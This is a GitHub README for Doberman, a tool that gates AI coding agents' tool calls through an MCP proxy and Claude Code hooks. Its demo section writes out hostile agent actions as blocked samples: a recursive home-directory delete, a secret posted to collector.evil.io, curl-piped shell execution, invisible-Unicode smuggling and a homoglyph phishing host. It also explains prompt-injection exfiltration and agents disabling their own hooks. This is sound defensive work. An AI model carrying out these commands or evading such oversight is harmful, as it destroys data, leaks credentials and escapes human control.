🐕 Doberman

Adaptive Authorization & Runtime Guardrails for AI Coding Agents

Doberman is an open-source AI agent security layer that intercepts every tool call your AI agent makes and returns PASS / AUTH / BLOCK — before anything executes.

If it isn't on the execution path, it's advisory, not protective.

AI coding agents (Claude Code, Cursor, Codex, Copilot agents, and any MCP-compatible agent) can read files, run shell commands, and call external APIs autonomously. Doberman sits between the agent and its tools as a transparent MCP proxy, turning every action into an explicit, auditable authorization decision.

AI agent ──▶ Doberman (MCP proxy) ──▶ real MCP tool servers
                  │
                  └─ normalize → risk engine → PASS / AUTH / BLOCK

Why Doberman?

Prompt injection, tool poisoning, data exfiltration, and runaway agents are the defining security problems of agentic AI. Most "AI guardrails" inspect prompts and offer advice. Doberman is different: it is on the tool-execution path, so a blocked action never runs.

Two non-negotiable properties:

🔒 Fail closed — any error, uncertainty, or unhandled case denies the action. There is no path to a tool around the decision engine.
📈 Raise-only learning — guardrails and adaptive learning can auto-tighten, never silently loosen. Every weakening requires explicit, 2FA-gated, audited human approval.

See it in action

Three verdicts. One execution gate.

🔴 BLOCK — dangerous actions stopped before they reach the tool

# Your agent cleans up build artefacts and misjudges the target…
agent  →  run_terminal_cmd  "rm -rf ~"
Doberman: BLOCK  destructive_command
          "Recursive force-delete of a home/root target."
# The command never reaches the shell.

# Your agent fetches a config token, then tries to phone it home…
agent  →  web_fetch  "https://collector.evil.io"  body="AWS_SECRET=AKIA..."
Doberman: BLOCK  secret_exfiltration
          "Credential pattern in request body to untrusted external destination."
# The request never leaves your machine. The secret is never echoed back to the agent.

# Your agent rewrites shared branch history…
agent  →  run_terminal_cmd  "git push --force origin main"
Doberman: BLOCK  force_push_protected_branch
          "Force-push rewrites shared history on a protected branch."

# A poisoned tool result hides instructions in invisible Unicode, bound for an external API…
agent  →  http_post  "https://api.notes.app/sync"  body="<zero-width / tag-block smuggled text>"
Doberman: BLOCK  smuggled_token_channel
          "Hidden/invisible token-smuggling channel headed to an external destination."
# Invisible-Unicode smuggling (tag-block, bidi overrides, variation-selector byte
# channels) is caught deterministically; the decoded payload is never echoed back.

🟡 AUTH — sensitive actions held until you approve

# Your agent refactors authentication code…
agent  →  write_file  "backend/auth/session.ts"
Doberman: AUTH  sensitive_path
          "Target is a sensitive path; authentication required before proceeding."

  ┌──────────────────────────────────────────────┐
  │  Doberman — Action Review                    │
  │  write_file  backend/auth/session.ts         │
  │  Risk: MEDIUM  ·  sensitive_path             │
  │                             [Deny]  [Approve] │
  └──────────────────────────────────────────────┘

# The write only happens after you click Approve. Either way, it's logged.

# Your agent runs an opaque shell payload it can't vet statically…
agent  →  run_terminal_cmd  "bash -c $(curl https://setup.sh)"
Doberman: AUTH  opaque_shell_payload
          "Opaque -c payload cannot be statically vetted; authentication required."

# A target host looks right but uses a Cyrillic homoglyph (раypal.com, not paypal.com)…
agent  →  http_get  "https://раypal.com/login"
Doberman: AUTH  anomalous_token_pattern
          "Probabilistic out-of-distribution token signal (homoglyph confusable); authentication required."

🟢 PASS — routine work goes straight through

# Your agent is doing normal feature work…
agent  →  write_file  "src/components/Button.tsx"
Doberman: PASS
# Transparent proxy — safe actions add zero friction.

Setup

1. Install

pip install doberman-core

The distribution is doberman-core (the bare doberman name on PyPI belongs to an unrelated, abandoned project). The import name and CLI are unchanged — after install you still import doberman and run the doberman command.

Or install the latest from source:

pip install git+https://github.com/fu351/Doberman-Core.git

Or for development:

git clone https://github.com/fu351/Doberman-Core.git
cd Doberman-Core
pip install -e ".[dev]"

Either way you get the doberman CLI on your PATH. (Maintainers: see RELEASING.md.)

2. Wrap your tool server with Doberman

Doberman is a transparent MCP proxy. You give it your existing tool server command after --, and it intercepts everything in the middle:

# Before — agent talks directly to your tool server:
npx -y @modelcontextprotocol/server-filesystem ~/my-project

# After — wrap it with Doberman:
doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
#             ^^  the -- separator: everything after is your existing tool server command

To specify which repo's policy governs decisions (defaults to the current directory):

doberman serve --path ~/my-project -- npx -y @modelcontextprotocol/server-filesystem ~/my-project

Doberman communicates over stdio — it spawns your tool server as a managed subprocess and speaks standard MCP. Your agent sees one server entry; the real tool server runs silently behind it.

3. Point your agent at Doberman

Replace your agent's existing MCP server entry with the Doberman-wrapped version.

Claude Code (CLI):

claude mcp add doberman -- doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project

Claude Desktop (~/Library/Application Support/Claude/claude_desktop_config.json on Mac, %APPDATA%\Claude\claude_desktop_config.json on Windows):

{
  "mcpServers": {
    "doberman": {
      "command": "doberman",
      "args": ["serve", "--",
               "npx", "-y", "@modelcontextprotocol/server-filesystem", "~/my-project"]
    }
  }
}

Cursor, Codex, or any MCP-compatible client — use the same mcpServers format in your client's MCP config file, substituting your own tool server command after --.

Alternative: enforce via Claude Code hooks (no MCP reconfig)

The proxy above protects the tools you route through Doberman. To make Doberman gate every tool call your Claude Code agent makes — built-ins (Bash, Edit, Write, …) and any MCP tool — without rewiring your MCP config, run it as a Claude Code PreToolUse hook. The harness calls Doberman before each tool call, and Doberman answers allow / deny — and a sensitive action opens Doberman's own in-session approval dialog (confirm / TOTP 2FA), so the agent can't bypass it by simply not "asking to use Doberman":

// .claude/settings.json (this project) or ~/.claude/settings.json (all projects)
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Edit|Write|NotebookEdit|WebFetch|WebSearch|mcp__.*",
        "hooks": [{ "type": "command", "command": "doberman hook pre" }]
      }
    ],
    "PostToolUse": [
      {
        "matcher": "Bash|Edit|Write|NotebookEdit|WebFetch|WebSearch|Read|Glob|Grep|mcp__.*",
        "hooks": [{ "type": "command", "command": "doberman hook post" }]
      }
    ],
    "SessionStart": [
      {
        "hooks": [{ "type": "command", "command": "doberman dashboard" }]
      }
    ]
  }
}

doberman hook pre reads the tool call on stdin, runs Doberman's deterministic objective floor (path confinement, destructive commands, external-destination & secret-exfil, smuggled-token channels), and returns a decision: a routine action passes silently (Doberman is raise-only — it never strips the harness's own prompts), a sensitive one opens Doberman's own approval dialog — a topmost confirm / TOTP-2FA prompt bound to that exact action (approve and the single call is allowed; decline, or no GUI/terminal channel is available, and it's denyed, fail-closed) — and a dangerous one is blocked (deny) with a redaction-safe reason.

doberman hook post runs after a tool executes: it scans the tool's output for credential-like material — so a Read/Bash/MCP call that returns a recognizable credential (a known key shape, a PEM block, or a secret file's contents) is blocked from reaching the model (the secret is never echoed). A merely high-entropy token with no known credential shape (a hash, a UUID, a base64 fragment) is not blocked — that heuristic false-positives on ordinary output, so it passes through to keep normal reads working — but it is still recorded and taints the session, so the multi-step floor below still catches a later read-then-send. Each call is recorded — plus a sticky per-session taint marker when secret-like material enters context — in a local, redacted decision history. That taint powers a multi-step exfiltration floor: the pre-hook raises an egress (web/network/MCP) in a session that has already accessed a secret — ask (light/balanced) or a hard deny (strict/paranoid) — catching read-secret-then-send-it exfil that no single-call rule can see. And when an outbound value exactly matches (by keyed-HMAC fingerprint) a secret that entered the session earlier, that confirmed read-then-send is a hard deny in every mode — even light. Both handlers fail closed and are import-light, so they add minimal latency to each call.

Both hooks' decisions land in the same local, redacted history: doberman log now shows PreToolUse AUTH/BLOCK outcomes alongside PostToolUse ones, and doberman status reports the installed version, which settings.json file(s) have the hooks wired in, and the last 5 recorded decisions.

Or let Doberman write it for you — no hand-editing JSON:

doberman install-hooks            # writes the snippet above into .claude/settings.json (this project)
doberman install-hooks --global   # ~/.claude/settings.json (every project)
doberman install-hooks --dry-run  # show what would change, write nothing
doberman uninstall-hooks          # remove only Doberman's entries (leaves your other hooks intact)

install-hooks is idempotent (safe to re-run), backs up an existing settings.json before writing, and never touches your other settings or hooks.

Session dashboard. install-hooks also wires a SessionStart hook that runs doberman dashboard — a print-and-exit (never interactive, never blocking) summary of a device-global, lifetime rollup: every decision Doberman makes, across every repo and session on this machine, increments a tiny counter at ~/.doberman/metrics.db (verdict class + count only — no path, no reason code, no per-action detail). It shows total interceptions and the PASS/AUTH/BLOCK split:

+------------------------------------------+
| Doberman - session guard summary          |
| Tracking since 2026-06-14 - this device   |
|                                            |
| Interceptions   1,204                     |
| Auto-passed      1,131  ( 93.9%)          |
| Authed              58  (  4.8%)          |
| Blocked             15  (  1.2%)          |
+------------------------------------------+

Run it any time with doberman dashboard. Output is plain ASCII (no box-drawing runes or emoji) so it always renders on a legacy Windows console, and the command always exits 0 and never raises — a dashboard must never break a session start.

Decision-transparency TUI. doberman log prints the raw redacted rows; doberman tui browses the same rows interactively and adds a plain-language "why" for whichever row is highlighted — the verdict, the decided layer, and its reason codes turned into a sentence, using only that row's already-redacted data (never a raw path, argument, or secret). Arrow keys navigate, r reloads, q quits:

pip install "doberman-core[tui]"   # optional extra (textual)
doberman tui

By default the "why" is a deterministic, offline template — no network call, always available. You can optionally enrich it with a short Claude-Haiku rewrite in plainer language:

pip install "doberman-core[explain]"     # optional extra (anthropic)
export ANTHROPIC_API_KEY=...
export DOBERMAN_EXPLAIN_LLM=1            # opt-in; off by default
doberman tui

The LLM is a narrator, never a judge — it only rewords a verdict Doberman already made from the redacted metadata above; it can never change a decision. It's strictly opt-in (installed and keyed and flagged, all three), and any failure — missing key, no network, timeout, bad response — silently falls back to the offline template, so the TUI never blocks on it or crashes because of it. There is no doberman explain command; the TUI and doberman log are the only surfaces for this.

Doberman protects its own hooks. Once installed, the agent can't quietly remove them: a write/edit to .claude/settings.json (the hook-install file) is blocked, and other .claude/ changes require authentication — so the agent can't disable enforcement by editing the harness config ("firing the cop"). This mirrors how Doberman already hard-blocks its own .doberman/ control plane. The protection holds through the shell too — a Bash command that writes/deletes the config (echo > .claude/settings.json, rm -rf .doberman) or runs doberman uninstall-hooks is blocked, not just the Write/Edit tools.

Easiest of all — doberman setup: an interactive wizard that picks your alertness mode, tunes your guardrails, and wires the hooks in one step:

doberman setup          # interactive: choose mode, guardrails, install scope
doberman setup --yes    # accept sensible defaults (balanced mode), non-interactively

The adaptive per-entity layer over the hook path arrives with the warm-daemon slice.

4. Scan (optional)

doberman scan   # discover local MCP capabilities and build a risk map

Basic protection works immediately out of the box. Pick a strength mode to match your risk tolerance.

Verify it end-to-end (real downstream, no fakes)

Two ways to watch Doberman front a real MCP server — no in-process test doubles anywhere in the chain.

Interactive demo — MCP Inspector + a real filesystem server:

npx -y @modelcontextprotocol/inspector doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project

Open the Inspector UI and call tools through Doberman: routine reads and writes PASS straight through to the real filesystem server; a destructive call comes back as a policy error and never executes.

End-to-end test — in a dev checkout:

pytest tests/integration/test_serve_end_to_end.py -q

This spawns doberman serve as a real subprocess fronting a real stdio tool server (tests/fixtures/stdio_tool_server.py), connects to it with a real MCP client playing the agent, and asserts the deployable chain over actual stdio:

the downstream's tools are re-exposed through the proxy,
a PASS verdict reaches the tool (the downstream's call log records it), and
a BLOCK verdict (rm -rf /) never reaches it — the call log stays empty.

That last assertion is the chokepoint property the whole project hangs on.

Note on the test fixtures: the rest of the integration suite deliberately uses an in-process fake downstream (tests/fixtures/fake_tool_server.py) that records every call it executes — recording is how the tests prove a blocked action reached nothing. It is a test fixture, not the runtime. doberman serve always spawns and talks to the real server you give it after --.

Benchmark it (ASR / FPR)

A suite-agnostic harness scores Doberman as a filter over labeled actions and reports ASR (attack bypass rate) and FPR (benign over-block / friction). It runs the real decision engine over each labeled tool-call — Doberman is the filter, not the agent — so the gated path is deterministic and offline.

python -m tests.benchmarks.run --suite synthetic --profile both          # builtins vs plugins
python -m tests.benchmarks.run --suite synthetic --profile before_after  # without vs with Doberman

It reports two plugin profiles — builtins_only and with_plugins (built-ins plus any installed entry-point plugins) — and their uplift. The before_after profile adds a no-guardrail baseline (the unmediated tool path, where every attack executes) so you can read the engine's effect directly as {before, after, delta} — how many otherwise-executing attacks it stops vs. how much benign friction it adds. A deterministic synthetic suite gates in CI; map external task suites (AgentDojo, AgentDyn, AgentSentry, …) onto core's types with a small adapter — see tests/benchmarks/README.md.

Reports hold counts, verdicts, and reason codes only — never payload text. ASR is reported alongside a stricter asr_strict (where only a hard BLOCK counts as mitigation): honest measurement, not a single headline number.

Tune to your risk tolerance

Set a mode in .doberman/policies.yaml or via doberman policy set-mode <mode>. Every mode change made this way — the CLI dial or the setup wizard — is recorded in the append-only policy-change ledger (view it with doberman policy-history), so a strictness downgrade is always auditable even though it isn't 2FA-gated (F10):

Mode	Best for	Bulk-delete threshold	Step-up for unknown destinations	Step-up for behavioral anomalies	Lethal-trifecta exfil
Light	Exploratory / trusted environments	100 files	No	No	AUTH
Balanced (default)	Everyday coding agents	25 files	No	Yes	AUTH
Strict	Production repos, shared codebases	10 files	Yes	Yes	BLOCK
Paranoid	Highly autonomous or security-critical agents	3 files	Yes	Yes	BLOCK

Hard blocks (secret exfiltration, destructive commands, role-boundary violations, smuggled-token-channel exfiltration) are identical in every mode. The mode dial only affects where step-up authentication is required for ambiguous or high-risk actions.

Unknown network destinations step up to authentication only in Strict/Paranoid. Light and Balanced treat a plain unknown host (e.g. fetching a docs site or an API) as allowed — that AUTH fired on almost every web fetch and was the top source of benign prompts. This relaxes the destination-alone signal only: a secret leaving to any host is still a hard block (secrets rule + raise-only combine, every mode), and the sharper destination smells (credentials embedded in the URL, raw IP addresses, unresolvable hosts) still step up in every mode. An out-of-scope role target likewise steps up in Balanced/Strict/Paranoid but is relaxed in Light; a role-blocked target is a hard block in every mode.

One escalation is mode-gated: the lethal trifecta — sensitive data and untrusted-content provenance and an external destination — steps up to authentication in Light/Balanced, and is a hard BLOCK in Strict/Paranoid. Those high-security modes refuse this serious-exfil pattern outright rather than leaving it to a confirmation prompt that alert fatigue could rubber-stamp.

Enforce / monitor / off — the enforcement dial

Orthogonal to the strictness mode is an enforcement dial (enforce (default) / monitor / off) that decides whether Doberman acts on a verdict or just observes:

enforce — the normal behavior: AUTH prompts, BLOCK denies.
monitor — a deliberate observe mode. The discretionary layer (behavioral anomalies, soft step-ups) is evaluated and recorded — doberman log / doberman tui show what would have happened — but it never blocks or prompts. Use it to try Doberman on a repo without friction, or to tune before turning it on.
off — the discretionary layer is not evaluated.

In every state the objective floor stays live. Secret exfiltration, multi-step/confirmed exfil, destructive commands, protected-path writes, role/policy blocks, and the lethal trifecta always block — monitor/off can only soften the discretionary verdicts, never a catastrophic action. Softening the dial is 2FA-gated and the on-disk value is ledger-verified on every call, so a hand-edited enforcement: off in policies.yaml with no matching approved change is caught and clamped back to enforce (fail-closed).

Who is this for?

Developers running AI coding agents who want autonomous agents without rm -rf roulette.
Security engineers evaluating AI agent security, MCP security, LLM tool-use sandboxing, and zero-trust architectures for agentic AI.
Platform teams deploying agent fleets who need policy enforcement, audit logs, and human-in-the-loop approval for destructive actions.

Roadmap

✅ Tool mediation · decision engine · objective guardrail (paths, commands, destinations, secrets, smuggled-token channels) · subjective guardrail (adaptive behavioral baselines, OOD/homoglyph token signals) · roles & boundaries · capability discovery · tiered auth (confirm → TOTP → scoped elevation) · audit log · policy-drift & poisoning defense (classify strengthen/weaken, 2FA-gated weakening, append-only ledger, enforce/monitor/off enforcement dial — now consumed by the decision path (discretionary verdicts soften; the objective floor stays live), gated + ledger-verified tamper clamp) · universal subjective layer (SL1–SL9)
✅ Benchmark harness (suite-agnostic ASR/FPR over labeled actions; builtins_only vs with_plugins; deterministic synthetic gate; external-suite adapters via tests/benchmarks/)
✅ Host-harness integration: Claude Code PreToolUse + PostToolUse hooks (doberman hook pre/post) gate every built-in and MCP tool call — and scan tool output for leaked secrets — with no MCP reconfig; fail-closed, import-light, surfacing an in-session approval dialog (confirm / TOTP 2FA) on a sensitive action, and recording a local redacted history
✅ One-command onboarding: doberman setup (alertness + guardrails + auto-wires the hooks) · install-hooks/uninstall-hooks
✅ Host-harness self-protection: an agent cannot disable the hooks by editing .claude/settings.json — the hook-install file is a blocked control-plane path (like .doberman/)
✅ Host-harness containment (taint-primary): a sticky per-session taint ledger + a multi-step exfiltration floor — an egress in a session that already accessed a secret is raised (ask, or a hard deny in strict/paranoid); and a read-vs-send fingerprint match hard-blocks a confirmed exfil (an outbound value equal to a secret read earlier) in every mode — catching read-then-send exfil a single-call rule can't see
✅ Session dashboard: doberman dashboard (print-and-exit, wired as a SessionStart hook by install-hooks) shows a device-global, lifetime PASS/AUTH/BLOCK rollup — verdict class + count only, redaction-safe, best-effort so it can never slow down or break a decision
✅ Decision-transparency TUI: doberman tui (optional textual extra) browses the redacted decision log and turns each row's verdict + reason codes into a plain-language "why" — a deterministic offline template by default, with an optional, opt-in Claude-Haiku narrator ([explain] extra, ANTHROPIC_API_KEY + DOBERMAN_EXPLAIN_LLM=1) that only rewords the already-made verdict and fails safe to the template
✅ Security fix: protected-path confinement (ProtectedPathRule) now canonicalizes and matches the raw, un-redacted call argument when available, instead of the redacted action.target — closing a bypass where a path over 256 chars (or one only revealed as protected/traversing after canonicalization) had already been replaced with "<redacted>" before the confinement check ran, letting the write slip past as PASS
🚧 Turn gate (pre-inference prompt-injection screening) — in development, not yet merged
📋 Host-harness, continued (containment architecture): deeper Bash-command egress parsing · entropy-on-egress escalation · warm-daemon adaptive layer · honeytoken tripwire + session circuit-breaker
🛠 Cost observability — CB.1 landed: a redaction-safe CostEvent + local append-only meter (doberman.storage.cost), advisory and strictly off the decision path. Next: CostObserver plugin seam (CB.2) and a raise-only loop-anomaly detector (CB.3)
📋 Enterprise platform: centralized control plane, dashboards, org policy, SSO/RBAC

Known limitations

Doberman is defense-in-depth, not airtight — no single rule is a guarantee. One concrete, currently-known gap:

Whole-script homoglyph confusables. The deterministic check catches intra-token mixed-script confusables (e.g. раypal, which mixes Cyrillic and Latin). But a token rendered entirely in one non-Latin script that mimics a Latin word (e.g. an all-Cyrillic look-alike of paypal) is NFKC-stable and is not caught by the core deterministic check today. Closing it is planned via a perplexity/confusable detector. Read the OOD/homoglyph token signals item above as defense-in-depth, not a robustness guarantee.
Bare high-entropy hex. To avoid flagging git SHAs, content/AST digests, and lockfile hashes as secrets — a noisy false positive that also poisoned the multi-step taint ledger — the generic high-entropy heuristic ignores tokens that are entirely hash-shaped hex (≥ 40 chars). A real secret that is bare hex with no surrounding credential name is therefore not stepped up by this heuristic alone; it is still caught when it carries a credential key-name (e.g. API_KEY=…), matches a known credential shape, or is later matched by the read-vs-send fingerprint. Defense-in-depth, not a guarantee.
Bare-token fixture/pattern-text suppression is WEAK-path only, and marker-gated on the residual. A bare (non-assignment) token that is regex-pattern source text being quoted (e.g. sk-ant-[A-Za-z0-9_-]{20,}) or an obvious hand-written fixture is not stepped up by the high-entropy heuristic alone (#73). Because a fixture marker (EXAMPLE/SAMPLE/FAKE/DUMMY) and ordered 0-9/a-z filler are attacker-controllable — and for a shapeless secret the high-entropy heuristic is the only signal — a marker on its own is not trusted: the token is suppressed only when, after stripping the markers and ascending runs, the residual is too short/low-entropy to be a secret. A real key padded with EXAMPLE keeps a high-entropy residual and still fires, and a variable merely named with a marker never suppresses its value (the check runs on the RHS after the = split). The suppression also never touches the STRONG credential-shape path, which can still drive secret_exfiltration. Regex-pattern source ([]{}\) is suppressed unconditionally — the tokenizer charset can't produce those characters in a real token. Defense-in-depth, not a guarantee: a full live-shaped example key quoted in prose with no marker is still indistinguishable from a real one and steps up.

License

Apache-2.0. The core is genuinely standalone — no proprietary dependency, ever (CI-enforced).

_{AI agent security · MCP security · MCP proxy · MCP firewall · AI guardrails · agentic AI safety · prompt injection defense · tool poisoning defense · LLM tool-use authorization · human-in-the-loop AI · AI agent sandbox · runtime AI security · zero trust for AI agents · Claude Code security · autonomous agent governance · data exfiltration prevention · adaptive anomaly detection · open source AI security}

Name		Name	Last commit message	Last commit date
Latest commit History 220 Commits
.github		.github
src/doberman		src/doberman
tests		tests
tools/rule_lab		tools/rule_lab
.gitignore		.gitignore
.gitleaks.toml		.gitleaks.toml
AGENTS.md		AGENTS.md
CLAUDE.md		CLAUDE.md
CONTRIBUTORS.md		CONTRIBUTORS.md
LICENSE		LICENSE
README.md		README.md
RELEASING.md		RELEASING.md
pyproject.toml		pyproject.toml

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🐕 Doberman

Why Doberman?

See it in action

🔴 BLOCK — dangerous actions stopped before they reach the tool

🟡 AUTH — sensitive actions held until you approve

🟢 PASS — routine work goes straight through

Setup

1. Install

2. Wrap your tool server with Doberman

3. Point your agent at Doberman

Alternative: enforce via Claude Code hooks (no MCP reconfig)

4. Scan (optional)

Verify it end-to-end (real downstream, no fakes)

Benchmark it (ASR / FPR)

Tune to your risk tolerance

Enforce / monitor / off — the enforcement dial

Who is this for?

Roadmap

Known limitations

License

About

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🐕 Doberman

Why Doberman?

See it in action

🔴 BLOCK — dangerous actions stopped before they reach the tool

🟡 AUTH — sensitive actions held until you approve

🟢 PASS — routine work goes straight through

Setup

1. Install

2. Wrap your tool server with Doberman

3. Point your agent at Doberman

Alternative: enforce via Claude Code hooks (no MCP reconfig)

4. Scan (optional)

Verify it end-to-end (real downstream, no fakes)

Benchmark it (ASR / FPR)

Tune to your risk tolerance

Enforce / monitor / off — the enforcement dial

Who is this for?

Roadmap

Known limitations

License

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